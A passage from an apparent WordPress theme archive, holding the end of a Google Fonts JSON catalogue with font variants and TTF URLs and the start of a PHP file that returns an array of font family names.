Road","variants":["200","300","regular","500","700","800"],"subsets":["latin","latin-ext"],"version":"v2","lastModified":"2020-07-23","files":{"200":"http://fonts.gstatic.com/s/turretroad/v2/pxidypMgpcBFjE84Zv-fE0ONEdeLYk1Mq3ap.ttf","300":"http://fonts.gstatic.com/s/turretroad/v2/pxidypMgpcBFjE84Zv-fE0PpEteLYk1Mq3ap.ttf","regular":"http://fonts.gstatic.com/s/turretroad/v2/pxiAypMgpcBFjE84Zv-fE3tFOvODSVFF.ttf","500":"http://fonts.gstatic.com/s/turretroad/v2/pxidypMgpcBFjE84Zv-fE0OxE9eLYk1Mq3ap.ttf","700":"http://fonts.gstatic.com/s/turretroad/v2/pxidypMgpcBFjE84Zv-fE0P5FdeLYk1Mq3ap.ttf","800":"http://fonts.gstatic.com/s/turretroad/v2/pxidypMgpcBFjE84Zv-fE0PlFteLYk1Mq3ap.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Ubuntu","variants":["300","300italic","regular","italic","500","500italic","700","700italic"],"subsets":["cyrillic","cyrillic-ext","greek","greek-ext","latin","latin-ext"],"version":"v15","lastModified":"2020-09-10","files":{"300":"http://fonts.gstatic.com/s/ubuntu/v15/4iCv6KVjbNBYlgoC1CzTt2aMH4V_gg.ttf","300italic":"http://fonts.gstatic.com/s/ubuntu/v15/4iCp6KVjbNBYlgoKejZftWyIPYBvgpUI.ttf","regular":"http://fonts.gstatic.com/s/ubuntu/v15/4iCs6KVjbNBYlgo6eAT3v02QFg.ttf","italic":"http://fonts.gstatic.com/s/ubuntu/v15/4iCu6KVjbNBYlgoKeg7znUiAFpxm.ttf","500":"http://fonts.gstatic.com/s/ubuntu/v15/4iCv6KVjbNBYlgoCjC3Tt2aMH4V_gg.ttf","500italic":"http://fonts.gstatic.com/s/ubuntu/v15/4iCp6KVjbNBYlgoKejYHtGyIPYBvgpUI.ttf","700":"http://fonts.gstatic.com/s/ubuntu/v15/4iCv6KVjbNBYlgoCxCvTt2aMH4V_gg.ttf","700italic":"http://fonts.gstatic.com/s/ubuntu/v15/4iCp6KVjbNBYlgoKejZPsmyIPYBvgpUI.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Ubuntu Condensed","variants":["regular"],"subsets":["cyrillic","cyrillic-ext","greek","greek-ext","latin","latin-ext"],"version":"v11","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/ubuntucondensed/v11/u-4k0rCzjgs5J7oXnJcM_0kACGMtf-fVqvHoJXw.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Ubuntu Mono","variants":["regular","italic","700","700italic"],"subsets":["cyrillic","cyrillic-ext","greek","greek-ext","latin","latin-ext"],"version":"v10","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/ubuntumono/v10/KFOjCneDtsqEr0keqCMhbBc9AMX6lJBP.ttf","italic":"http://fonts.gstatic.com/s/ubuntumono/v10/KFOhCneDtsqEr0keqCMhbCc_CsHYkYBPY3o.ttf","700":"http://fonts.gstatic.com/s/ubuntumono/v10/KFO-CneDtsqEr0keqCMhbC-BL-Hyv4xGemO1.ttf","700italic":"http://fonts.gstatic.com/s/ubuntumono/v10/KFO8CneDtsqEr0keqCMhbCc_Mn33tYhkf3O1GVg.ttf"},"category":"monospace","kind":"webfonts#webfont"},{"family":"Ultra","variants":["regular"],"subsets":["latin"],"version":"v13","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/ultra/v13/zOLy4prXmrtY-tT6yLOD6NxF.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Uncial Antiqua","variants":["regular"],"subsets":["latin"],"version":"v8","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/uncialantiqua/v8/N0bM2S5WOex4OUbESzoESK-i-PfRS5VBBSSF.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Underdog","variants":["regular"],"subsets":["cyrillic","latin","latin-ext"],"version":"v9","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/underdog/v9/CHygV-jCElj7diMroVSiU14GN2Il.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Unica One","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v8","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/unicaone/v8/DPEuYwWHyAYGVTSmalshdtffuEY7FA.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"UnifrakturCook","variants":["700"],"subsets":["latin"],"version":"v12","lastModified":"2020-07-23","files":{"700":"http://fonts.gstatic.com/s/unifrakturcook/v12/IurA6Yli8YOdcoky-0PTTdkm56n05Uw13ILXs-h6.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"UnifrakturMaguntia","variants":["regular"],"subsets":["latin"],"version":"v11","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/unifrakturmaguntia/v11/WWXPlieVYwiGNomYU-ciRLRvEmK7oaVun2xNNgNa1A.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Unkempt","variants":["regular","700"],"subsets":["latin"],"version":"v12","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/unkempt/v12/2EbnL-Z2DFZue0DSSYYf8z2Yt_c.ttf","700":"http://fonts.gstatic.com/s/unkempt/v12/2EbiL-Z2DFZue0DScTow1zWzq_5uT84.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Unlock","variants":["regular"],"subsets":["latin"],"version":"v10","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/unlock/v10/7Au-p_8ykD-cDl7GKAjSwkUVOQ.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Unna","variants":["regular","italic","700","700italic"],"subsets":["latin","latin-ext"],"version":"v15","lastModified":"2020-09-25","files":{"regular":"http://fonts.gstatic.com/s/unna/v15/AYCEpXzofN0NCpgBlGHCWFM.ttf","italic":"http://fonts.gstatic.com/s/unna/v15/AYCKpXzofN0NOpoLkEPHSFNyxw.ttf","700":"http://fonts.gstatic.com/s/unna/v15/AYCLpXzofN0NMiQusGnpRFpr3vc.ttf","700italic":"http://fonts.gstatic.com/s/unna/v15/AYCJpXzofN0NOpozLGzjQHhuzvef5Q.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"VT323","variants":["regular"],"subsets":["latin","latin-ext","vietnamese"],"version":"v12","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/vt323/v12/pxiKyp0ihIEF2hsYHpT2dkNE.ttf"},"category":"monospace","kind":"webfonts#webfont"},{"family":"Vampiro One","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v11","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/vampiroone/v11/gokqH6DoDl5yXvJytFsdLkqnsvhIor3K.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Varela","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v11","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/varela/v11/DPEtYwqExx0AWHXJBBQFfvzDsQ.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Varela Round","variants":["regular"],"subsets":["hebrew","latin","latin-ext","vietnamese"],"version":"v13","lastModified":"2020-09-10","files":{"regular":"http://fonts.gstatic.com/s/varelaround/v13/w8gdH283Tvk__Lua32TysjIvoMGOD9gxZw.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Varta","variants":["300","regular","500","600","700"],"subsets":["latin","latin-ext","vietnamese"],"version":"v1","lastModified":"2020-07-13","files":{"300":"http://fonts.gstatic.com/s/varta/v1/Qw3AZQpJHj_6LzHUngWbrFkDH1x96j4EirE-9PGLfQ.ttf","regular":"http://fonts.gstatic.com/s/varta/v1/Qw3AZQpJHj_6LzHUngWbrFkDH1x9tD4EirE-9PGLfQ.ttf","500":"http://fonts.gstatic.com/s/varta/v1/Qw3AZQpJHj_6LzHUngWbrFkDH1x9hj4EirE-9PGLfQ.ttf","600":"http://fonts.gstatic.com/s/varta/v1/Qw3AZQpJHj_6LzHUngWbrFkDH1x9ajkEirE-9PGLfQ.ttf","700":"http://fonts.gstatic.com/s/varta/v1/Qw3AZQpJHj_6LzHUngWbrFkDH1x9UzkEirE-9PGLfQ.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Vast Shadow","variants":["regular"],"subsets":["latin"],"version":"v10","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/vastshadow/v10/pe0qMImKOZ1V62ZwbVY9dfe6Kdpickwp.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Vesper Libre","variants":["regular","500","700","900"],"subsets":["devanagari","latin","latin-ext"],"version":"v13","lastModified":"2020-09-25","files":{"regular":"http://fonts.gstatic.com/s/vesperlibre/v13/bx6CNxyWnf-uxPdXDHUD_Rd4D0-N2qIWVQ.ttf","500":"http://fonts.gstatic.com/s/vesperlibre/v13/bx6dNxyWnf-uxPdXDHUD_RdA-2ap0okKXKvPlw.ttf","700":"http://fonts.gstatic.com/s/vesperlibre/v13/bx6dNxyWnf-uxPdXDHUD_RdAs2Cp0okKXKvPlw.ttf","900":"http://fonts.gstatic.com/s/vesperlibre/v13/bx6dNxyWnf-uxPdXDHUD_RdAi2Kp0okKXKvPlw.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Viaoda Libre","variants":["regular"],"subsets":["cyrillic","cyrillic-ext","latin","latin-ext","vietnamese"],"version":"v3","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/viaodalibre/v3/vEFW2_lWCgoR6OKuRz9kcRVJb2IY2tOHXg.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Vibes","variants":["regular"],"subsets":["arabic","latin"],"version":"v3","lastModified":"2020-08-24","files":{"regular":"http://fonts.gstatic.com/s/vibes/v3/QdVYSTsmIB6tmbd3HpbsuBlh.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Vibur","variants":["regular"],"subsets":["latin"],"version":"v11","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/vibur/v11/DPEiYwmEzw0QRjTpLjoJd-Xa.ttf"},"category":"handwriting","kind":"webfonts#webfont"},{"family":"Vidaloka","variants":["regular"],"subsets":["latin"],"version":"v13","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/vidaloka/v13/7cHrv4c3ipenMKlEass8yn4hnCci.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Viga","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v9","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/viga/v9/xMQbuFFdSaiX_QIjD4e2OX8.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Voces","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v10","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/voces/v10/-F6_fjJyLyU8d4PBBG7YpzlJ.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Volkhov","variants":["regular","italic","700","700italic"],"subsets":["latin"],"version":"v12","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/volkhov/v12/SlGQmQieoJcKemNeQTIOhHxzcD0.ttf","italic":"http://fonts.gstatic.com/s/volkhov/v12/SlGSmQieoJcKemNecTAEgF52YD0NYw.ttf","700":"http://fonts.gstatic.com/s/volkhov/v12/SlGVmQieoJcKemNeeY4hoHRYbDQUego.ttf","700italic":"http://fonts.gstatic.com/s/volkhov/v12/SlGXmQieoJcKemNecTA8PHFSaBYRagrQrA.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Vollkorn","variants":["regular","500","600","700","800","900","italic","500italic","600italic","700italic","800italic","900italic"],"subsets":["cyrillic","cyrillic-ext","greek","latin","latin-ext","vietnamese"],"version":"v12","lastModified":"2020-06-26","files":{"regular":"http://fonts.gstatic.com/s/vollkorn/v12/0ybgGDoxxrvAnPhYGzMlQLzuMasz6Df2MHGuGWOdEbD63w.ttf","500":"http://fonts.gstatic.com/s/vollkorn/v12/0ybgGDoxxrvAnPhYGzMlQLzuMasz6Df2AnGuGWOdEbD63w.ttf","600":"http://fonts.gstatic.com/s/vollkorn/v12/0ybgGDoxxrvAnPhYGzMlQLzuMasz6Df27nauGWOdEbD63w.ttf","700":"http://fonts.gstatic.com/s/vollkorn/v12/0ybgGDoxxrvAnPhYGzMlQLzuMasz6Df213auGWOdEbD63w.ttf","800":"http://fonts.gstatic.com/s/vollkorn/v12/0ybgGDoxxrvAnPhYGzMlQLzuMasz6Df2sHauGWOdEbD63w.ttf","900":"http://fonts.gstatic.com/s/vollkorn/v12/0ybgGDoxxrvAnPhYGzMlQLzuMasz6Df2mXauGWOdEbD63w.ttf","italic":"http://fonts.gstatic.com/s/vollkorn/v12/0ybuGDoxxrvAnPhYGxksckM2WMCpRjDj-DJGWmmZM7Xq34g9.ttf","500italic":"http://fonts.gstatic.com/s/vollkorn/v12/0ybuGDoxxrvAnPhYGxksckM2WMCpRjDj-DJ0WmmZM7Xq34g9.ttf","600italic":"http://fonts.gstatic.com/s/vollkorn/v12/0ybuGDoxxrvAnPhYGxksckM2WMCpRjDj-DKYXWmZM7Xq34g9.ttf","700italic":"http://fonts.gstatic.com/s/vollkorn/v12/0ybuGDoxxrvAnPhYGxksckM2WMCpRjDj-DKhXWmZM7Xq34g9.ttf","800italic":"http://fonts.gstatic.com/s/vollkorn/v12/0ybuGDoxxrvAnPhYGxksckM2WMCpRjDj-DLGXWmZM7Xq34g9.ttf","900italic":"http://fonts.gstatic.com/s/vollkorn/v12/0ybuGDoxxrvAnPhYGxksckM2WMCpRjDj-DLvXWmZM7Xq34g9.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Vollkorn SC","variants":["regular","600","700","900"],"subsets":["cyrillic","cyrillic-ext","latin","latin-ext","vietnamese"],"version":"v4","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/vollkornsc/v4/j8_v6-zQ3rXpceZj9cqnVhF5NH-iSq_E.ttf","600":"http://fonts.gstatic.com/s/vollkornsc/v4/j8_y6-zQ3rXpceZj9cqnVimhGluqYbPN5Yjn.ttf","700":"http://fonts.gstatic.com/s/vollkornsc/v4/j8_y6-zQ3rXpceZj9cqnVinFG1uqYbPN5Yjn.ttf","900":"http://fonts.gstatic.com/s/vollkornsc/v4/j8_y6-zQ3rXpceZj9cqnVin9GVuqYbPN5Yjn.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Voltaire","variants":["regular"],"subsets":["latin"],"version":"v10","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/voltaire/v10/1Pttg8PcRfSblAvGvQooYKVnBOif.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Waiting for the Sunrise","variants":["regular"],"subsets":["latin"],"version":"v11","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/waitingforthesunrise/v11/WBL1rFvOYl9CEv2i1mO6KUW8RKWJ2zoXoz5JsYZQ9h_ZYk5J.ttf"},"category":"handwriting","kind":"webfonts#webfont"},{"family":"Wallpoet","variants":["regular"],"subsets":["latin"],"version":"v12","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/wallpoet/v12/f0X10em2_8RnXVVdUNbu7cXP8L8G.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Walter Turncoat","variants":["regular"],"subsets":["latin"],"version":"v11","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/walterturncoat/v11/snfys0Gs98ln43n0d-14ULoToe67YB2dQ5ZPqQ.ttf"},"category":"handwriting","kind":"webfonts#webfont"},{"family":"Warnes","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v10","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/warnes/v10/pONn1hc0GsW6sW5OpiC2o6Lkqg.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Wellfleet","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v8","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/wellfleet/v8/nuF7D_LfQJb3VYgX6eyT42aLDhO2HA.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Wendy One","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v9","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/wendyone/v9/2sDcZGJOipXfgfXV5wgDb2-4C7wFZQ.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Wire One","variants":["regular"],"subsets":["latin"],"version":"v11","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/wireone/v11/qFdH35Wah5htUhV75WGiWdrCwwcJ.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Work Sans","variants":["100","200","300","regular","500","600","700","800","900","100italic","200italic","300italic","italic","500italic","600italic","700italic","800italic","900italic"],"subsets":["latin","latin-ext","vietnamese"],"version":"v8","lastModified":"2020-06-26","files":{"100":"http://fonts.gstatic.com/s/worksans/v8/QGY_z_wNahGAdqQ43RhVcIgYT2Xz5u32K0nWNigDp6_cOyA.ttf","200":"http://fonts.gstatic.com/s/worksans/v8/QGY_z_wNahGAdqQ43RhVcIgYT2Xz5u32K8nXNigDp6_cOyA.ttf","300":"http://fonts.gstatic.com/s/worksans/v8/QGY_z_wNahGAdqQ43RhVcIgYT2Xz5u32KxfXNigDp6_cOyA.ttf","regular":"http://fonts.gstatic.com/s/worksans/v8/QGY_z_wNahGAdqQ43RhVcIgYT2Xz5u32K0nXNigDp6_cOyA.ttf","500":"http://fonts.gstatic.com/s/worksans/v8/QGY_z_wNahGAdqQ43RhVcIgYT2Xz5u32K3vXNigDp6_cOyA.ttf","600":"http://fonts.gstatic.com/s/worksans/v8/QGY_z_wNahGAdqQ43RhVcIgYT2Xz5u32K5fQNigDp6_cOyA.ttf","700":"http://fonts.gstatic.com/s/worksans/v8/QGY_z_wNahGAdqQ43RhVcIgYT2Xz5u32K67QNigDp6_cOyA.ttf","800":"http://fonts.gstatic.com/s/worksans/v8/QGY_z_wNahGAdqQ43RhVcIgYT2Xz5u32K8nQNigDp6_cOyA.ttf","900":"http://fonts.gstatic.com/s/worksans/v8/QGY_z_wNahGAdqQ43RhVcIgYT2Xz5u32K-DQNigDp6_cOyA.ttf","100italic":"http://fonts.gstatic.com/s/worksans/v8/QGY9z_wNahGAdqQ43Rh_ebrnlwyYfEPxPoGU3moJo43ZKyDSQQ.ttf","200italic":"http://fonts.gstatic.com/s/worksans/v8/QGY9z_wNahGAdqQ43Rh_ebrnlwyYfEPxPoGUXmsJo43ZKyDSQQ.ttf","300italic":"http://fonts.gstatic.com/s/worksans/v8/QGY9z_wNahGAdqQ43Rh_ebrnlwyYfEPxPoGUgGsJo43ZKyDSQQ.ttf","italic":"http://fonts.gstatic.com/s/worksans/v8/QGY9z_wNahGAdqQ43Rh_ebrnlwyYfEPxPoGU3msJo43ZKyDSQQ.ttf","500italic":"http://fonts.gstatic.com/s/worksans/v8/QGY9z_wNahGAdqQ43Rh_ebrnlwyYfEPxPoGU7GsJo43ZKyDSQQ.ttf","600italic":"http://fonts.gstatic.com/s/worksans/v8/QGY9z_wNahGAdqQ43Rh_ebrnlwyYfEPxPoGUAGwJo43ZKyDSQQ.ttf","700italic":"http://fonts.gstatic.com/s/worksans/v8/QGY9z_wNahGAdqQ43Rh_ebrnlwyYfEPxPoGUOWwJo43ZKyDSQQ.ttf","800italic":"http://fonts.gstatic.com/s/worksans/v8/QGY9z_wNahGAdqQ43Rh_ebrnlwyYfEPxPoGUXmwJo43ZKyDSQQ.ttf","900italic":"http://fonts.gstatic.com/s/worksans/v8/QGY9z_wNahGAdqQ43Rh_ebrnlwyYfEPxPoGUd2wJo43ZKyDSQQ.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Xanh Mono","variants":["regular","italic"],"subsets":["latin","latin-ext","vietnamese"],"version":"v3","lastModified":"2020-12-08","files":{"regular":"http://fonts.gstatic.com/s/xanhmono/v3/R70YjykVmvKCep-vWhSYmACQXzLhTg.ttf","italic":"http://fonts.gstatic.com/s/xanhmono/v3/R70ejykVmvKCep-vWhSomgqUfTfxTo24.ttf"},"category":"monospace","kind":"webfonts#webfont"},{"family":"Yanone Kaffeesatz","variants":["200","300","regular","500","600","700"],"subsets":["cyrillic","latin","latin-ext","vietnamese"],"version":"v15","lastModified":"2020-06-26","files":{"200":"http://fonts.gstatic.com/s/yanonekaffeesatz/v15/3y9I6aknfjLm_3lMKjiMgmUUYBs04aUXNxt9gW2LIftodtWpcGuLCnXkVA.ttf","300":"http://fonts.gstatic.com/s/yanonekaffeesatz/v15/3y9I6aknfjLm_3lMKjiMgmUUYBs04aUXNxt9gW2LIftoqNWpcGuLCnXkVA.ttf","regular":"http://fonts.gstatic.com/s/yanonekaffeesatz/v15/3y9I6aknfjLm_3lMKjiMgmUUYBs04aUXNxt9gW2LIfto9tWpcGuLCnXkVA.ttf","500":"http://fonts.gstatic.com/s/yanonekaffeesatz/v15/3y9I6aknfjLm_3lMKjiMgmUUYBs04aUXNxt9gW2LIftoxNWpcGuLCnXkVA.ttf","600":"http://fonts.gstatic.com/s/yanonekaffeesatz/v15/3y9I6aknfjLm_3lMKjiMgmUUYBs04aUXNxt9gW2LIftoKNKpcGuLCnXkVA.ttf","700":"http://fonts.gstatic.com/s/yanonekaffeesatz/v15/3y9I6aknfjLm_3lMKjiMgmUUYBs04aUXNxt9gW2LIftoEdKpcGuLCnXkVA.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Yantramanav","variants":["100","300","regular","500","700","900"],"subsets":["devanagari","latin","latin-ext"],"version":"v6","lastModified":"2020-09-02","files":{"100":"http://fonts.gstatic.com/s/yantramanav/v6/flU-Rqu5zY00QEpyWJYWN5-QXeNzDB41rZg.ttf","300":"http://fonts.gstatic.com/s/yantramanav/v6/flUhRqu5zY00QEpyWJYWN59Yf8NZIhI8tIHh.ttf","regular":"http://fonts.gstatic.com/s/yantramanav/v6/flU8Rqu5zY00QEpyWJYWN6f0V-dRCQ41.ttf","500":"http://fonts.gstatic.com/s/yantramanav/v6/flUhRqu5zY00QEpyWJYWN58AfsNZIhI8tIHh.ttf","700":"http://fonts.gstatic.com/s/yantramanav/v6/flUhRqu5zY00QEpyWJYWN59IeMNZIhI8tIHh.ttf","900":"http://fonts.gstatic.com/s/yantramanav/v6/flUhRqu5zY00QEpyWJYWN59wesNZIhI8tIHh.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Yatra One","variants":["regular"],"subsets":["devanagari","latin","latin-ext"],"version":"v7","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/yatraone/v7/C8ch4copsHzj8p7NaF0xw1OBbRDvXw.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Yellowtail","variants":["regular"],"subsets":["latin"],"version":"v11","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/yellowtail/v11/OZpGg_pnoDtINPfRIlLotlzNwED-b4g.ttf"},"category":"handwriting","kind":"webfonts#webfont"},{"family":"Yeon Sung","variants":["regular"],"subsets":["korean","latin"],"version":"v8","lastModified":"2019-07-16","files":{"regular":"http://fonts.gstatic.com/s/yeonsung/v8/QldMNTpbohAGtsJvUn6xSVNazqx2xg.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Yeseva One","variants":["regular"],"subsets":["cyrillic","cyrillic-ext","latin","latin-ext","vietnamese"],"version":"v15","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/yesevaone/v15/OpNJno4ck8vc-xYpwWWxpipfWhXD00c.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Yesteryear","variants":["regular"],"subsets":["latin"],"version":"v9","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/yesteryear/v9/dg4g_p78rroaKl8kRKo1r7wHTwonmyw.ttf"},"category":"handwriting","kind":"webfonts#webfont"},{"family":"Yrsa","variants":["300","regular","500","600","700"],"subsets":["latin","latin-ext"],"version":"v6","lastModified":"2020-09-02","files":{"300":"http://fonts.gstatic.com/s/yrsa/v6/wlpxgwnQFlxs3af93IQ73W5OcCk.ttf","regular":"http://fonts.gstatic.com/s/yrsa/v6/wlp-gwnQFlxs5QvV-IwQwWc.ttf","500":"http://fonts.gstatic.com/s/yrsa/v6/wlpxgwnQFlxs3f_83IQ73W5OcCk.ttf","600":"http://fonts.gstatic.com/s/yrsa/v6/wlpxgwnQFlxs3dP73IQ73W5OcCk.ttf","700":"http://fonts.gstatic.com/s/yrsa/v6/wlpxgwnQFlxs3bf63IQ73W5OcCk.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"ZCOOL KuaiLe","variants":["regular"],"subsets":["chinese-simplified","latin"],"version":"v5","lastModified":"2019-11-05","files":{"regular":"http://fonts.gstatic.com/s/zcoolkuaile/v5/tssqApdaRQokwFjFJjvM6h2WpozzoXhC2g.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"ZCOOL QingKe HuangYou","variants":["regular"],"subsets":["chinese-simplified","latin"],"version":"v5","lastModified":"2019-11-05","files":{"regular":"http://fonts.gstatic.com/s/zcoolqingkehuangyou/v5/2Eb5L_R5IXJEWhD3AOhSvFC554MOOahI4mRIi_28c8bHWA.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"ZCOOL XiaoWei","variants":["regular"],"subsets":["chinese-simplified","latin"],"version":"v5","lastModified":"2019-11-05","files":{"regular":"http://fonts.gstatic.com/s/zcoolxiaowei/v5/i7dMIFFrTRywPpUVX9_RJyM1YFKQHwyVd3U.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Zeyada","variants":["regular"],"subsets":["latin"],"version":"v10","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/zeyada/v10/11hAGpPTxVPUbgZDNGatWKaZ3g.ttf"},"category":"handwriting","kind":"webfonts#webfont"},{"family":"Zhi Mang Xing","variants":["regular"],"subsets":["chinese-simplified","latin"],"version":"v5","lastModified":"2019-11-05","files":{"regular":"http://fonts.gstatic.com/s/zhimangxing/v5/f0Xw0ey79sErYFtWQ9a2rq-g0actfektIJ0.ttf"},"category":"handwriting","kind":"webfonts#webfont"},{"family":"Zilla Slab","variants":["300","300italic","regular","italic","500","500italic","600","600italic","700","700italic"],"subsets":["latin","latin-ext"],"version":"v6","lastModified":"2020-09-02","files":{"300":"http://fonts.gstatic.com/s/zillaslab/v6/dFa5ZfeM_74wlPZtksIFYpEY2HSjWlhzbaw.ttf","300italic":"http://fonts.gstatic.com/s/zillaslab/v6/dFanZfeM_74wlPZtksIFaj8CVHapXnp2fazkfg.ttf","regular":"http://fonts.gstatic.com/s/zillaslab/v6/dFa6ZfeM_74wlPZtksIFWj0w_HyIRlE.ttf","italic":"http://fonts.gstatic.com/s/zillaslab/v6/dFa4ZfeM_74wlPZtksIFaj86-F6NVlFqdA.ttf","500":"http://fonts.gstatic.com/s/zillaslab/v6/dFa5ZfeM_74wlPZtksIFYskZ2HSjWlhzbaw.ttf","500italic":"http://fonts.gstatic.com/s/zillaslab/v6/dFanZfeM_74wlPZtksIFaj8CDHepXnp2fazkfg.ttf","600":"http://fonts.gstatic.com/s/zillaslab/v6/dFa5ZfeM_74wlPZtksIFYuUe2HSjWlhzbaw.ttf","600italic":"http://fonts.gstatic.com/s/zillaslab/v6/dFanZfeM_74wlPZtksIFaj8CIHCpXnp2fazkfg.ttf","700":"http://fonts.gstatic.com/s/zillaslab/v6/dFa5ZfeM_74wlPZtksIFYoEf2HSjWlhzbaw.ttf","700italic":"http://fonts.gstatic.com/s/zillaslab/v6/dFanZfeM_74wlPZtksIFaj8CRHGpXnp2fazkfg.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Zilla Slab Highlight","variants":["regular","700"],"subsets":["latin","latin-ext"],"version":"v8","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/zillaslabhighlight/v8/gNMbW2BrTpK8-inLtBJgMMfbm6uNVDvRxhtIY2DwSXlM.ttf","700":"http://fonts.gstatic.com/s/zillaslabhighlight/v8/gNMUW2BrTpK8-inLtBJgMMfbm6uNVDvRxiP0TET4YmVF0Mb6.ttf"},"category":"display","kind":"webfonts#webfont"}]}PK     0w\Co4  o4  .  customizer/framework/data/googlefontsindex.phpnu [        <?php
return array('ABeeZee','Abel','Abhaya Libre','Abril Fatface','Aclonica','Acme','Actor','Adamina','Advent Pro','Aguafina Script','Akronim','Aladin','Alata','Alatsi','Aldrich','Alef','Alegreya','Alegreya SC','Alegreya Sans','Alegreya Sans SC','Aleo','Alex Brush','Alfa Slab One','Alice','Alike','Alike Angular','Allan','Allerta','Allerta Stencil','Allura','Almarai','Almendra','Almendra Display','Almendra SC','Amarante','Amaranth','Amatic SC','Amethysta','Amiko','Amiri','Amita','Anaheim','Andada','Andika','Andika New Basic','Angkor','Annie Use Your Telescope','Anonymous Pro','Antic','Antic Didone','Antic Slab','Anton','Arapey','Arbutus','Arbutus Slab','Architects Daughter','Archivo','Archivo Black','Archivo Narrow','Aref Ruqaa','Arima Madurai','Arimo','Arizonia','Armata','Arsenal','Artifika','Arvo','Arya','Asap','Asap Condensed','Asar','Asset','Assistant','Astloch','Asul','Athiti','Atma','Atomic Age','Aubrey','Audiowide','Autour One','Average','Average Sans','Averia Gruesa Libre','Averia Libre','Averia Sans Libre','Averia Serif Libre','B612','B612 Mono','Bad Script','Bahiana','Bahianita','Bai Jamjuree','Baloo 2','Baloo Bhai 2','Baloo Bhaina 2','Baloo Chettan 2','Baloo Da 2','Baloo Paaji 2','Baloo Tamma 2','Baloo Tammudu 